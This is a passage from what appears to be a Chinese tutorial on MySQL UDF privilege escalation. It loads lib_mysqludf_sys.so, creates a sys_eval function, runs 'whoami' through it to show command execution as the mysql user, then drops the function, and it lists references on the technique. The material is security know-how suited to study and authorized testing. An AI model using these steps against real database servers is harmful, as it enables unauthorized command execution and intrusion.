sys_set_init U sysconf U system U waitpid
创建函数
1 2 mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so"; Query OK, 0 rows affected (0.14 sec)
3)执行自定义函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 mysql> select sys_eval('whoami'); +--------------------+ | sys_eval('whoami') | +--------------------+ | mysql | +--------------------+ 1 row in set (0.04 sec) mysql> select * from mysql.func; +----------+-----+-------------+----------+ | name | ret | dl | type | +----------+-----+-------------+----------+ | sys_eval | 0 | lib_mysqludf_sys.so | function | +----------+-----+-------------+----------+ 1 row in set mysql> drop function sys_eval; Query OK, 0 rows affected (0.00 sec) mysql> select * from func; Empty set (0.00 sec)
参考资料 [1] MySQL 常用内置函数与所有内置函数
[2] MySQL常用内置函数
[3] udf提权原理详解
[4] Linux利用UDF库实现Mysql提权
[5] MySQL UDF提权执行系统命令
[6] Mysql——udf提权
[7] MySQL 函数及其利用